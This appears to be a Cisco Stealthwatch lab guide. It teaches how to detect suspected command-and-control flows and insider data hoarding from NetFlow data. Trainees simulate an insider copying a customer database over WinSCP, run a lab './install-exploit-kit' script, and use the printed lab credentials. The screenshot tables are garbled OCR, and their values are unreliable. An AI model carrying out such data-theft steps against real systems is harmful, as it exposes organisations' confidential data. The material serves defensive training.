| Flow_Denied - 443       2       326       06/24 3:23:19 AM       74.125.137.113 (J)       United States       (J)         Flow_Denied - 443       1       163       06/24 5:53:53 AM       173.194 74.95 (J)       United States       (J)         Flow_Denied - 443       1       163       06/24 5:53:53 AM       74.125.137.132 (J)       United States       (J)         Flow_Denied - 443       1       163       06/24 5:06:26 AM       74.125.137.132 (J)       United States       (J)         Flow_Denied - 60       1       163       06/24 4:20:2 AM       205.188.29.128 (J)       United States       (J)         Flow_Denied - 443       1       163       06/24 3:34:07 AM       74.125.140.132 (J)       United States       (J)         Flow_Denied - 80       1       163       06/24 3:24:07 AM       208.09.154.234 (J)       United States       (J)         Flow_Denied - 80       1       163       06/24 3:24:07 AM       208.09.154.234 (J)       United States       (J)         Flow_Denied - 80       1       163       06/24 3:24:07 AM       178.255.03.1 (J)       United Kingdom       (J)         Visers & Sessions       Application Traffic       Yew More       Yew More       Yew More       Yew More       Yew More         <   |                 | Suspect Quiet Long Flow - 443            | 1   | 4,001         |        | 06/   | 24 9:01:46 AM |       | 64       | 12.104.224 ()  | United State | \$          | 0              |
| Flow_Denied-443       1       163       06/24 53.53 AM       173194 74 95 Å       United States       Ø         Flow_Denied-443       1       163       06/24 508.26 AM       74.125.137.132 Å       United States       Ø         Flow_Denied-443       1       163       06/24 42.02 AM       205.188.281.20 Å       United States       Ø         Flow_Denied-403       1       163       06/24 3.23.407 AM       74.125.140.132 Å       United States       Ø         Flow_Denied-80       1       163       06/24 3.23.407 AM       208.801.54.234 Å       United States       Ø         Flow_Denied-80       1       163       06/24 3.23.407 AM       208.801.54.234 Å       United States       Ø         Flow_Denied-80       1       163       06/24 3.23.407 AM       208.801.54.234 Å       United States       Ø         Flow_Denied-80       1       163       06/24 3.23.407 AM       178.255.83.1 Å       United Kingdom       Ø         View More       View   | ,               | Flow_Denied - 443                        | 2   | 326           |        | 06/   | 24 3:23:19 AM |       | 74       | 125.137.113 () | United State | 5           | Θ              |
| Flow_Denied-443       1       163       06/24 508:26 AM       74.125.137.132 (J)       United States       (J)         Flow_Denied-80       1       163       06/24 42.02 AM       205.188 28.128 (J)       United States       (J)         Flow_Denied-443       1       163       06/24 42.02 AM       205.188 28.128 (J)       United States       (J)         Flow_Denied-443       1       163       06/24 32.34.07 AM       74.125.140.132 (J)       United States       (J)         Flow_Denied-80       1       163       06/24 32.34.07 AM       208 60.154.234 (J)       United States       (J)         Flow_Denied-80       1       163       06/24 3.16.57 AM       178.255.03.1 (J)       United States       (J)         Visers & Sessions       Viser More Traffic         MAC Address:       MAC Vendor:       Device Type:       Application Traffic       Internet Traffic   | ٠               | Flow_Denied - 443                        | 1   | 163           |        | 06/   | 24 5:53:53 AM |       | 173      | 194 74 95 🖯    | United State | s           | O              |
| Flow_Denied-80       1       163       06/24 42.02 AM       205186.28.128 (J)       United States       (J)         Flow_Denied-443       1       163       06/24 3.23.40 AM       74.125.140.132 (J)       United States       (J)         Flow_Denied-80       1       163       06/24 3.23.40 AM       208.80.154.234 (J)       United States       (J)         Flow_Denied-80       1       163       06/24 3.23.40 AM       208.80.154.234 (J)       United States       (J)         Flow_Denied-80       1       163       06/24 3.16.57 AM       178.255.83.1 (J)       United States       (J)         Users & Sessions       View More Traffic         MAC Address:       Mac Vendor:       Device Type:       Application Traffic       Internet Trend  |                 | Flow_Denied - 443                        | 1   | 163           |        | 06/   | 24 5:06:26 AM |       | 74       | 125.137.132 () | United State | 9           | O              |
| Flow_Denied-443       1       163       06/24 33.407 AM       74.125.140.132 (J)       United States       (J)         Flow_Denied-80       1       163       06/24 3.23.40 AM       208.80.154.234 (J)       United States       (J)         Flow_Denied-80       1       163       06/24 3.23.40 AM       208.80.154.234 (J)       United States       (J)         Flow_Denied-80       1       163       06/24 3.16.57 AM       178.255.83.1 (J)       United Kingdom       (J)         Users & Sessions       View More Traffic         MAC Address:       MaC Windows10-       Na Seint       Ratio       Received       7.day Trend       24-hour Trend   | ۲               | Flow_Denied - 80                         | 1   | 163           |        | 06/   | 24 4 42:02 AM |       | 205      | 5.188.28.128 O | United State | 9           | 0              |
| Flow_Denied - 80         1         163         06/24 3/23 40 AM         208 80 154 234 (J)         United States         (J)           Flow_Denied - 80         1         163         06/24 3/26 7 AM         176 255 83.1 (J)         United Kingdom         (J)           Users & Sessions         Application Traffic         View More Traffic         United Kingdom         (J)           MAC Address:<br>70 5b 36 d5 26 d4         MAC Vendor:         Device Type:<br>Windows10-         % Sent         Ratio         Received         7-day Trend         24-hour Trend  | ٠               | Flow_Denied - 443                        | 1   | 163           |        | 06/   | 24 3:34:07 AM |       | 74       | 125.140.132 () | United State | 6           | 0              |
| Flow_Denied - 80       1       163       06/24 316 57 AM       178 255 831 (J)       United Kingdom       (J)         Users & Sessions       Application Traffic       Intermined termined te | ٠               | Flow_Denied - 80                         | 1   | 163           |        | 06/   | 24 3 23 40 AM |       | 201      | 80.154.234 ()  | United State | •           | 0              |
| Users & Sessions Application Traffic Intern<br>MAC Address: 70.9b.36.05.26.04 MAC Vendor: Vindows10- Application Total % Sent Ratio Received 7-day Trend 24-hour Trend  | ٠               | Flow_Denied - 80                         | 1   | 163           |        | 06/   | 24 3:16:57 AM |       | 176      | 1.255.83.1 O   | United Kings | iom         | O              |
| Users & Sessions Application Traffic Internet der<br>MAC Address: Device Type: Windows 10. Application Total % Sent Ratio Received 7-day Trend 24-hour Trend  |                 |  |   |               |        |       |               |       |          |                |              | View More 5 | Even           |
| MAC Address: 70.90.36.05.26.04 MAC Vendor: Device Type: Windows 10. Total % Sent Ratio Received 7-day Trend 24-hour Trend   | Us              | ers & Sessions                           |   | Application T | raffic |       |               |       |          |                |              | Intern      | <b>E</b> xterr |
| VYORKSTADON   | <b>MA</b><br>70 | C Address: MAC Vendor:<br>9b:36:d5:26:d4 | Device Type:<br>Windows10-<br>Workstation | Application   | Total  | \$    | Sent          | Ratio | Received | 7-day Trend    | 24           | -hour Trend |                |

20. Scroll up and select the **Stealthwatch Online Help** as shown below.

| 🗐 Host Report   Stealtha | watch X          | +                        |                   |                   |             |              |               |              |          |                          |
|--------------------------|------------------|--------------------------|-------------------|-------------------|-------------|--------------|---------------|--------------|----------|--------------------------|
|                          | A Not secure   h | ttps://198.19.20.136/lc- | landing-page/smc. | html#/host/10.201 | 1.3.15      |              |               |              |          | ☆ 🖰 🗄                    |
| 👖 Apps 📃 Appliance       | es 📙 Splunk 🍕    | ISE-PIC 📙 Test Sites     | 🔤 Cisco Box       |                   |             |              |               |              |          |                          |
| cisco Stea               | lthwatch         |                          | Dashboards        | Monitor           | Analyze     | Jobs Configu | ure Deploy    |              | Q        | Desktop Client           |
| Host Report              | 10.201.3.1       | 5                        |                   |                   |             |              |               |              |          | Stealthwatch Online Help |
| Alarm Categor            | ries             |                          |                   |                   |             |              |               |              |          | About Stealthwatch       |
| Concern Index            | Target Index     | Recon                    | C&C               | Exploitation      | DDoS Source | DDoS Target  | Data Hoarding | Exfiltration | Policy V | Change Password          |
| 0                        | 0                | 0                        | 0                 | 0                 | 0           | 0            | 0             | 0            | d        | Logout                   |



21. Search the Online Help for Suspect Quiet Long Flow. You will need to click Security Event List, Suspect Quiet Long Flow to gain an understanding of what this security event means shown below. You can select CTRL + F to find Suspect Quiet Long Flow quicker in the Security Event List.

| 💷 Host Report   Stealthwatch 🗙 🗅 Security Event List 🗙 🕂              |   |  |   |     |     |     | 25  |
|---|---|--|---|-----|-----|-----|-----|
| ← → C 🏠 🔺 Not secure   https://198.19.20.136/smc/help/enterprise/en-u | us/Content/security_event_list.htm?Hi           | ighlight=suspect%20quiet%20long%20flo  | W   |     |     | ¢ e | • • |
| 👯 Apps 📙 Appliances 📒 Splunk 🌍 ISE-PIC 📒 Test Sites 🚾 Cisco Box       |   |  | suspect quie  | 1/1 | ~ > | <   |     |
| At<br>CISCO   | oout Stealthwatch Stealthwatc                   | h Help System Management Help  | ) Resources   |     |     |     | ^   |
| Suspe<br>~ Wh   | ct Quiet Long Flow<br>at is the security event? |  |   |     |     |     |     |
|   | Questions about this event                      | Response   |   |     |     |     |     |
|   | What does it mean when it<br>triggers?          | This security event identifies heartbeat co<br>are used in some types of command and<br>activity as well as other suspicious comm<br>channels such as gypware. If Co bottest, a<br>means of communication. This event is as<br>beacoming host except that bidgreetional<br>are included, provided a low volume of da<br>Note that this event can also identify back<br>heartbeats.   | nnections that<br>control (C&C)<br>unication<br>and other covert<br>millar to a<br>ommunications<br>ta is transferred.<br>sground website |     |     |     |     |
|   |   | The goal is to determine if this traffic repr<br>activity. Oftentimes you can do this by ide<br>destination of the traffic. A good starting juit<br>to the associated flow table for the secu-<br>more details of the flow such as source an<br>addresses, ports, services, starting time of<br>be about normation and unservices. If such as the<br>second start of the second start of the second start<br>of the second start of the second start of the second<br>start of the second start of the second start of the second<br>start of the second start of the second start of the second<br>start of the second start of the second start of the second<br>start of the second start of the second start of the second start of the<br>second start of the second start of the second start of the second<br>start of the second start of the second start of the second start of the<br>second start of the second start of the second start of the second<br>start of the second start of the second | resents normal<br>entifying the<br>point is to pivot<br>with event to get<br>and destination IP<br>the flow, geo-<br>wahle                |     |     |     |     |

### Task 4: Identify possible data loss over the past 7 days to suspect countries

The above Top Peer report was filtered on flow connections to identify persistent connections inside the network. Now let's see if there was data movement over a long period of time. It is possible for bad actors to throttle data movement to try and stay hidden within normal traffic.

 Let's use the Saved Search and simply change the sort by variable. From the drop=down menu, select Analyze > Saved Searches for the "Top Internal Peers To Non Business Countries by flows" search.

**Note:** If you forgot to save your previous search then look for it in Jobs > Job Management. Click it, and then click **Save**.

2. Select the Actions menu and click Edit, as shown below. You may need to scroll to the right using the slider bar at the bottom of the browser window.

| alı<br>cis | Stealthwatch  | Dashboards   | Monitor | Analyze                     | Jobs        | Configure          | Deploy                    |             |            | Deskte | op Client           |
|------------|---|--------------|---------|-----------------------------|-------------|--------------------|---------------------------|-------------|------------|--------|---------------------|
| Sa         | ved Searches  |              | E       | Flow arch<br>Saved Searches | E.          |                    |                           |             |            |        |                     |
| s          | aved Searches 🛛                                       |              |         | Saved Results               |             |                    |                           |             |            |        |                     |
|            | Search Name   | Search Type  | De D    | escription                  |             |                    |                           | ‡ Time      | 2          | Edit   | Actions             |
|            | Top Internal Peers To Non Business Countries by flows | Top Peers Qu | lery    |                             |             |                    |                           | 02/01/201   | 9 - 8:53:0 | Run    |                     |
|            | ETA Flow Query  | Flow Table Q | uery U  | nder Manage Colu            | umns on the | flow table results | s, enable all of the Encr | / 05/08/201 | 8 - 7:44:1 | Clone  | $\overline{\cdots}$ |



- 3. Scroll down to the Advanced Options and change the Order by to Bytes
- 4. Click the X to remove **Americas** from the search.
- 5. Click **Search** as shown below.

| Subject   | Connection   | Peer   |
|---|--|--|
| HOST IP ADDRESS<br>ex. 192.168.10.10 or 1192.168.10.10<br>HOST GROUPS<br>Select<br>Outside Hosts × 1 Americas × 1 Europe ×                    | PORT / PROTOCOL<br>ex. 80/tcp or 180/tcp<br>APPLICATIONS<br>Select<br>DIRECTION<br>Total | HOST IP ADDRESS 10.201.3.0/24 × HOST GROUPS Select |
| Advanced Options     Surver     Surver     Record DS RETURNED *     So     ORDER R     Bytes     3     PERFORMANCE OPTIONS     Order Advanced | FLOW COLLECTOR NAME  |  |

Observe that this will search all flows over the past 7 days and retrieve any large amounts of data moved. You should see results like below with a large number of bytes sent by 10.201.3.149. Click the hyperlink on the flows count (2,882 in the below example).

| alialia<br>cisco     | Stea                                     | althwatch  |                        | Dashboards N                              | lonitor | Analyze | Jobs          | Configure | Deploy      | 00           | Desktop Client                    |
|----------------------|--|--|------------------------|---|---------|---------|---------------|-----------|-------------|--------------|-----------------------------------|
| Top P                | eers S                                   | earch Results (  | 51)                    |   |         |         |               |           |             |              |                                   |
| Edit S<br>S<br>Con   | Search<br>Subject:<br>inection:<br>Peer: | Last 7 Days (Time Range)<br>Outside Hosts (Host Grou<br>Total (Direction)<br>10.201.3.0/24 (Host IP Ad | b) Either (Orientation | 9   |         |         |               |           | Save Search | Save Results | Start New Search<br>Delete Search |
|                      |  |  |                        |   |         |         |               |           |             | Manage Colu  | mns Export 🗸                      |
| % OF E               | BYTES                                    | PEER IP ADDRE  | PEER NAME              | PEER HOST GR                              | BYTES   |         | PEER BYTE RAT | PACKETS   | FLOWS       | HOSTS        | PEER ROLE                         |
| <mark>13</mark> .00% |  | 10.201.3.41 💮  | workstation-041        | End User Devices ,<br>Sales and Marketin  | 14.45 G | ļ       | 0.26%         | 13.86 M   | 1,983       | 270          | Client                            |
| <mark>11</mark> .68% | 6  | 10.201.3.149 💮   | workstation-149        | End User Devices ,<br>Sales and Marketing | 12.97 G | -       | 1.42%         | 13.97 M   | 2,882       | 344          | Client and Server                 |

- 7. On one of the flow records, click the hyperlink for **10.201.3.149** to view the Host Report as shown below.
- 8. Explore the details within the host report to get an understanding of how Secure Network Analytics detected the behavior changes of the machine. With proper identification and accounting for all traffic you can increase the security posture for your organization.



## Summary

Within this lab, you learned:

- The importance of accounting for all traffic to and from the Internet.
- How to perform network retrospection to suspect countries.
- How to detect threats hidden within trusted network connections.
- How to filter on flow connections over long periods of time to help identity possible command and control traffic.
- How to filter on data movement over long periods of time to help identify possible data loss.
- Understanding how you can learn from having complete visibility and accounting to make better decisions in segmenting traffic to help prevent threats.

Lab 4. Data hoarding

One of the most valuable assets for an organization is its intellectual property, confidential information, and information stored in the company networks. Data breaches cost organizations millions of dollars. The global average cost of a data breach is \$3.62 million and the average cost for each lost or stolen record containing sensitive and confidential information is \$141. Insider threats, and disgruntled employees could take data and exfiltrate it for financial gain or just to cause harm.

The Secure Network Analytics Data Hoarding alarm indicates that a host within a network has downloaded an unusual amount of data from one or more servers. These events provide valuable insight into unauthorized data movement that might be taking place in the network.

Watch the supporting lab video overview here > <u>https://cs.co/SWTestDrive-Lab4</u>.

### About Insider & Advanced Threat Detection



Refer to the image below to ensure you are collecting full netflow somewhere along the path between the attacker and victim IP.



# Behavioral and Anomaly Detection Model Behavioral Algorithms are Applied to Build "Security Events"



## **Test Drive Objectives**

Security events contribute index points to alarms. Alarms are grouped into Alarm categories.

Security Events Associated with the Data Hoarding Alarm Category include:

- 1. Suspect Data Hoarding
  - a. Suspect Data Hoarding monitors how much TCP/UDP data an inside host, while acting as a client, downloads from internal servers. The event fires when the amount of data surpasses the threshold for a given host. This threshold is built automatically by baselining.
  - b. This event is an indication of a particular host gathering data to prepare for exfiltration or other larger-than-normal downloads of internal data.
- 2. Target Data Hoarding
  - a. Target Data Hoarding monitors how much TCP/UDP data an inside host, while acting as a server, serves to other inside clients. The event fires when the amount of data surpasses the threshold for a given host. This threshold is built automatically through baselining.
  - b. This event is potentially an indication of one or many Inside Hosts gathering more data than normal from a particular Inside Host, potentially in preparation for exfiltration or misuse.

### **Test Drive Requirements**

The Secure Network Analytics system configuration minimum requirements are:

- Visibility of all host-to-host traffic from the core and/or distribution
- Stealthwatch Release 6.9 or greater

# **Test Drive Outline**

The "attacker" in this scenario will be downloading a large file. You choose the method of transfer (ftp, Windows file share, etc.), but the file needs to be over 300 MB.

Ensure you are collecting full NetFlow somewhere along the path between the attacker and victim IP.

In the following examples, the attacker IP address will be 198.19.30.36.

An employee has turned in their 2 weeks' notice to work at another company. The employee is part of the account team that covers North America. She is leaving on good terms but is leaving for a competitor. There are various projects and trainings she was owner of within the company and is now downloading that sensitive data on her final day of employment. Secure Network Analytics will detect and alert you to this abnormality. Even though this user is allowed to access these servers, she is downloading an unusual amount of data.



# Transfer a large amount of data on from your attacking system

The steps to conduct this attack will vary depending on the type of system that you are using both for your attack and for your file share.

If you are using Windows and copying the file across a Windows file share, use Windows Explorer to connect from the attacker system.

An FTP client would be used if you are connecting to a system serving files with an FTP server.

In this example, we will be transferring a 380 MB file via SCP from a database server to the Wkst1within dCloud.

1. Launch **WinSCP**, from the desktop of WKST1.

Note: If an update appears, ignore the update.

2. Select **CDS**, as shown below.

Note: The IP address of 198.19.20.134, the username is already cached for login.

3. Select Login and enter C1sco12345 for the password if prompted.

**Note:** If you see a prompt with a certificate warning in WinSCP, click **OK** and continue.

|               | 🏂 WinSCP               |                        |                |                |           |              | _       |   |
|---------------|------------------------|------------------------|----------------|----------------|-----------|--------------|---------|---|
| Chrome        | Local Mark Files       | Commands Session Optio | ns Remote Help |                |           |              |         |   |
|               | 🔛 📰 🛱 Synch            | 🌆 Login                |                |                |           | ? _ 🗆 🗙      |         |   |
|               | 🚅 New Session          | New Site               |                | Session        |           |              |         |   |
|               | 🚢 C: 🔹 🚰 🕶 🕎           | ASAV                   |                | File protocol: |           |              | Files 💁 |   |
| WinSCP        | 🛛 🕼 Upload 👻 📝         |                        |                | SFTP           |           |              | - 🛛     |   |
|               | C:\Users\Administra    | CSR                    |                | Host name:     |           | Port number: |         |   |
|               | Name 🔺                 | EC                     |                | 198.19.20.134  |           | 22           | hanged  |   |
|               | 🔒                      | FCNF                   |                | User name:     | Password: |              |         |   |
| PuTTY         | install.readme.tx      | ISE                    |                | root           |           |              |         |   |
|               | install-exploit-ki     | SMC                    |                | Edit           | 4         | Advanced 👻   |         |   |
|               | README.md              |                        |                |                |           |              |         |   |
|               | 🚳 recon.bat            | -                      |                |                |           |              |         |   |
| Cisco         | smp-maiware.p;         |                        |                |                |           |              |         |   |
| Stealthwat    |                        |                        |                |                |           |              |         |   |
|               |                        |                        |                |                |           |              |         |   |
|               |                        |                        |                |                |           |              |         |   |
| Git Bach      |                        |                        |                |                |           |              |         | 2 |
| Sicoun        | •                      | Tools 🔻                | Manage 🔻       | 🔁 Login 🔫      | Close     | Help         |         | • |
|               | 0 B of 10.8 MB in 0 of | 6                      | 1 hidden       |                |           |              |         | - |
| C:N_          | Not connected.         |                        |                |                |           |              |         |   |
| cmd ava       |                        |                        |                |                |           |              |         |   |
| critulexe     |                        |                        |                |                |           |              |         |   |
|               |                        |                        |                |                |           |              |         |   |
| 🌌 Start [ 🧃 🔮 | o 🚺 🚺                  | inSCP                  |                |                |           |              |         |   |
| ×             |                        |                        |                |                |           |              |         |   |

5. Locate the file encrypted-customer-DB and transfer it to your Downloads folder on the Wkst1.

**Note**: if you do not see encrypted-customer-DB on the CDS server, you will need to SSH into CDS as root and run **./install-exploit-kit** which was completed in a different lab. This will surface the encrypted-customer-DB for this lab.

- 6. Initiate the transfer to the attacker system.
- 7. Close WinSCP.



## Review Secure Network Analytics for Data Hoarding Alarms

Secure Network Analytics should have detected the data hoarding from your attacking system. The resulting data hoarding alarms for this attack can be observed in the Secure Network Analytics interface. While not covered in this document, you also could have received an alert via email or a syslog message to your SIEM.

- 1. Launch **Chrome** from the desktop of your Wkst1, as shown below.
- 2. Select the SMC (WebUI) bookmark from the Appliances folder of the bookmark toolbar.
- 3. Login with username **admin** and password **C1sco12345**.

|         | 🐨 StealthWatch Management Con: 🗙 🕂  | 0 |   | <u></u> |
|---------|---|---|---|---------|
|         |   | * | θ | :       |
| 1       | 🗄 🗛 📋 Appliances 📙 Splunk 🌚 ISE-PIC 📙 Test Sites 🔤 Cisco Box  |   |   |         |
| Chrence | SMC (WebU)   SMC (WebU)   FCNF   Image: Dupp   E   E   Image: Dupp   E   E   Stealthwatch   USER NAME *   admin   PASSWORD *   Image: Dupp   Image: Dup |   |   |         |

4. Look at the Data Hoarding section under Alarming Hosts. In this example, Secure Network Analytics has created six alarms for data hoarding traffic. Click the number below Data Hoarding to open up that alarm. In this example, you'd click **5**.

| cisco Stealth    | nwatch       |              | Dashboards | Monitor      | Analyze Jobs | Configure   | Deploy        |              | <b>Q D</b>       | Client  |
|------------------|--------------|--------------|------------|--------------|--------------|-------------|---------------|--------------|------------------|---------|
| Security Insight | Dashboard    | Inside Hosts |            |              |              |             |               |              |                  |         |
| Alarming Hosts   |              |              |            |              |              |             |               |              |                  | - Z -   |
| Concern Index    | Target Index | Recon        | C&C        | Exploitation | DDoS Source  | DDoS Target | Data Hoarding | Exfiltration | Policy Violation | Anomaly |
| 11               | 0            | 8            | 0          | 1            | 0            | 1           | 5             | 2            | 4                | 0       |
|                  |              |              |            |              |              |             |               |              |                  |         |

5. Secure Network Analytics has determined that there is data hoarding activity above the acceptable threshold, which you can see in the DH column. Click the value in the DH section to further drill into the alarm.



 We can see that the data hoarding alarm has far exceeded its threshold for 198.19.30.36. Click DH % value to get more details. In the below example, it would be 4,660%.

Note: This may take a minute or two to appear for this host.

| Dashboards               | Monitor       | Analyze | Jobs           | Configure | Deploy |        |        |      | Q 🗉  |      | esktop Client |
|--------------------------|---------------|---------|----------------|-----------|--------|--------|--------|------|------|------|---------------|
|                          |               |         |                |           |        |        |        |      |      |      |               |
| Host                     |               |         |                |           |        |        |        |      |      |      |               |
| Sort by overall severity |               |         |                |           |        |        |        |      |      | - 1  |               |
| Host Address             | Host Name     |         | Last Active    | ‡ CI      | \$ ті  | ‡ RC   | \$ C&C | ‡ EP | ‡ ds | ‡ DT | \$ DH         |
| 10.201.3.149 💮           |               |         | 9/8/19 8:27 AM | 216%      |        | 1,899% |        |      |      |      | 40,518%       |
| 10.201.0.23 💮            |               |         | 9/8/19 8:27 AM | 11%       | 1%     |        |        |      |      |      | 2,098%        |
| 10.201.3.18 💮            |               |         | 9/8/19 8:27 AM | 32%       | 1%     | 4,349% |        |      |      |      | 2,928%        |
| 198.19.30.36 💮           | wkst1.dcloud. | local.  | 9/8/19 8:25 AM | 2,980%    | 1%     | 38%    |        |      |      |      | 2,342%        |
| 10.150.1.200 💮           |               |         | 9/8/19 5:14 AM | 256%      | 1%     | 2,980% |        |      |      | 46%  | 357%          |
| First Previous 1         |               |         |                |           |        |        | •      |      |      |      |               |

7. Click the section that begins with "Observed" under Details to get additional information on this alarm.

| cisc | Steal        | thwatch            |                | Dashboards         | Monitor A      | nalyze    | Jobs Co           | onfigure | Deploy      |                | Q 🕐 🔅 Desktop Client                              |
|------|--------------|--------------------|----------------|--------------------|----------------|-----------|-------------------|----------|-------------|----------------|---|
| Dat  | a Hoarding   | 198.19.30.36       | 5(1)           |                    |                |           |                   |          |             |                |   |
| Ala  | rms          |                    |                |                    |                |           |                   |          |             |                |   |
| \$   | First Active | Source Host Groups | Source         | Target Host Groups | Target         | Policy    | y                 | ‡ Ev     | vent Alarms | Source User    | Details   |
| 9    | 8/19 8:25 AM | File Servers       | 198.19.30.36 💮 |                    | Multiple Hosts | Insider 1 | Threat Use Case P | Policy   |             | admininstrator | Observed 234.26k points. Policy maximum allows up |
|      | Previous 1   | Next               |                |                    |                |           |                   |          |             |                |   |

8. In this example, the attacker system has connected to multiple hosts.

#### 9. Open a Host Report: Select source host 198.19.30.36.

| alı<br>Cis | i lii<br>ico | Stealthwatc           | h            | Dashboards    | Monitor       | Analyze | Jobs             | Configure | Deploy            |                |   | ٩ (      |          | Desktop Client |
|------------|--------------|-----------------------|--------------|---------------|---------------|---------|------------------|-----------|-------------------|----------------|---|----------|----------|----------------|
| Se         | cui          | rity Events   198.    | 19.20.36 (1) |               |               |         |                  |           |                   |                |   |          |          |                |
| A          | ll Se        | ecurity Events For 19 | 98.19.20.36  |               |               |         |                  |           |                   |                |   |          |          |                |
|            |              | SECURITY EVENT        | COUNT        | CONCERN INDEX | FIRST ACTIVE  |         | SOURCE HOST      |           | SOURCE HOST GROUP | TARGET HOST    |   | TARGET I | IOST GRO | UP ACTIONS     |
|            | Þ            | Suspect Data Hoarding | 2            | 466,002       | 02/02 4:10:00 | АМ      | 198.19.20.36 ··· | ) 1       | End User Devices  | Multiple Hosts | 8 |          |          | $\odot$        |

The host report provides informative widgets to investigate a host and includes:

- 1. Cognitive Threat Analytics Detections from multilayered machine learning and global threat analytics to identify threats.
- 2. Application Traffic The application traffic, amount of traffic, internally and externally.
- 3. Query the flows by using the Traffic by Peer Host Group, click the Protected Asset Monitoring host group and select View Flows as shown below. This will launch a flow query with our selected parameters.

#### Figure 2. Host Report

| Stealt          | hwatch                              |  | Dashboards                     | Monitor          | Analyze Jobs                | Configure        | Deploy                     |  | 00   | Desktop Clier      |
|-----------------|-------------------------------------|--|--------------------------------|------------------|-----------------------------|------------------|----------------------------|--|--|--------------------|
| lost Report     | 198.19.30.36                        |  |                                |                  |                             |                  |                            |  |  |                    |
| Alarm Categorie | es                                  |  |                                |                  |                             |                  |                            |  |  |                    |
| Concern Index   | Target Index                        | Recon  | C&C                            | Exploitation     | DDoS Source                 | DDoS Target      | Data Hoarding              | Exfiltration   | Policy Violation                               | Anomaly            |
| 1               | 0                                   | 0  | 0                              | 0                | 0                           | 0                | 1                          | 0  | 0  | 0                  |
| Host Summary    | Host IP                             | View Flows<br>Top Reports                      | Edit                           | raffic by Peer H | ost Group (last 12 l        | iours)<br>Unknow | <ul> <li>Alarm:</li> </ul> | s by Type (last )  | 7 days)<br>Alarms by Type                      |                    |
| Ļ               | 198.19.30                           | ). 3 Subject Hos<br>198.19.30.3<br>Peer Host G | t IP:<br>6<br>iroup: Protected | Protected        | Monitoring ← > 198,19,30,36 | Custom Rep       | 40                         | 34   | 27 28  |                    |
| Flows           | Classify                            | His Asset Monit<br>from: 09/07<br>to: 09/08 8: | 8:31 PM<br>31 AM               | Catch All        | 130.13.30.30                | United St        | a• 20                      |  |  | 19                 |
| lostname:       | wkst1.dcloud.local                  |  |                                | Multicast        |                             | Irela            | and •                      | 9  | 9  | 6                  |
| Host Groups:    | File Servers                        |  |                                |                  |                             | Cana             | ada o                      |  |  |                    |
| ocation:        | Unknown                             |  |                                |                  |                             | Denm             | ark                        | 9/2 9/3  | 9/4 9/5 9/6                                    | 9/7 9/8            |
| First Seen:     | 6/25/19 9:31 PM                     |  |                                |                  |                             | Fra              | nce                        | .CSE: Custom Reputa  | tion List                                      | C. Mark Engention  |
| Last Seen:      | 9/8/19 8:28 AM                      |  |                                |                  |                             | Others (O        | uo                         | High Total Traffic   | Max Flows Initiated                            | Addr_Scan/tcp      |
| Policies:       | Default Server Polic<br>Case Policy | y,Inside,Insider Thre                          | eat Use                        |                  |                             |                  |                            | Addr_Scan/udp Data Exfiltration Data Hoarding Taxant Data Magazing | Policy Violation Reco<br>Suspect Data Hoarding | Suspect Data Loss  |
|                 |                                     |  |                                |                  |                             |                  |                            | ranger para noarding   | Decel  |                    |
| MAC Address:    |                                     |  |                                |                  |                             |                  |                            |  |  | oct All Soloct All |

4. When the flow query is finished, displayed is subject IP address, subject port, subject host group, bytes, application, total bytes, peer address, peer port, peer host group and peer bytes.

**Note**: The file we downloaded using SCP is presented in the flow data on this dashboard.

#### 5. Select the down arrow on the left to get a general view of the flow data as shown below.

| W     | Search Resu  | ılts (3)   |   |   |              |  |   |   |                 |                |               |               |
|-------|--|--|---|---|--------------|--|---|---|-----------------|----------------|---------------|---------------|
| dit S | Search 09/01   | 7/2019 08:31 PM  | - 09/08/2019 08:31 AM   | (Time Ra, 2,000 (M                                    | lax Records) |  |   |   | Save            | Search Sa      | ave Results S | tart New Sear |
|       | Subject: 1921  | 19 20 26 Either  | (Origonation)   |   |              |  |   |   |                 |                | 100% Complete | Delete S      |
|       | Subject.   | 19.30.30 EIGH0   | (Chemadon)  |   |              |  |   |   |                 |                | roox complete | Delete S      |
| C     | onnection: All (F  | low Direction)   |   |   |              |  |   |   |                 |                |               |               |
|       | Peer: Prote  | ected Asset Mon  | Itoring (Host Groups)   |   |              |  |   |   |                 |                |               |               |
|       |  |  |   |   |              |  |   |   |                 |                |               |               |
| 9     |  |  |   |   |              |  |   | Manage C                                  | olumns Su       | immary E       | Export V More |               |
|       | START  | FLOW ACTION  | SUBJECT IP A  | SUBJECT NAT   | SUBJECT NAT  | SUBJECT PO   | TOTAL BYTES   | ENCRYPTION                                | PEER IP ADDR    | PEER NAT       | PEER NAT HO   | PEER PORT     |
|       | Ex. 06/09/2  | Ex. permitted  | Ex. 10.10.10.1  | Ex. 50.233.88   | Ex. cisco    | Ex. 57100/UDi  | Ex. <=50M   | Ex. 1.0                                   | Ex. 10.255.25.  | Ex. 50.233.88. | Ex. cisco     | Ex. 2055/U    |
|       |  |  |   |   |              | 9021/TCD   | 202.14.14   |   | 100 10 00 104   |                |               | 22/TCP        |
|       | Sep 8, 2019<br>8:17:42 AM<br>(14min 52s ago)   |  | 198.19.30.36 🕤  |   |              | 0021/1CP   | 383.14 M  |   | 198.19.20.134 💮 |                |               | LET TOT       |
|       | Sep 8, 2019<br>8:17:42 AM<br>(14min 52s ago)<br>General  |  | 198.19.30.36 🕢  |   |              | 0021/10P   | 303.14 M  |   | 196.19.20.134   |                |               | 221           |
|       | Sep 8, 2019<br>8:17:42 AM<br>(14min 52s ago)<br>General<br>View URL Data   |  | 198.19.30.36 🕞  |   |              | 0021/10P   | 363.14 M  | -   | 196.19.20.134   |                |               | 221           |
|       | Sep 8, 2019<br>8:17:42 AM<br>(14min 52s ago)<br>General<br>View URL Data<br>Subject  |  | 198.19.30.36 ()<br>Totals   |   |              | Peer   | 303.14 M  | -   | 198.19.20.134   | -              |               | 221100        |
|       | Sep 8, 2019<br>8:17:42 AM<br>(14min 52s ago)<br>General<br>View URL Data<br>Subject<br>Packets:  | 57.96 K  | Totals<br>Packets:  | 344 K   |              | Peer   | 303.14 M  | 04 K                                      | 198.19.20.134   | -              |               | 2.8/ 1 OF     |
|       | Sep 8, 2019<br>8-17:42 AM<br>(14min 52s ago)<br>General<br>View URL Data<br>Subject<br>Packets:<br>Packet Rate:  | 57.96 K<br>423.03 pps                                  | Totals<br>Packets:<br>Packet Rate:  | 344 K<br>2.51 Kpps                                    |              | Peer<br>Packet<br>Packet                             | 303.1 # M<br>:s: 286.<br>Rate: 2.09                 | .04 K<br>I Kpps                           | 198.19.20.134   |                |               | 2 B / 1 GO    |
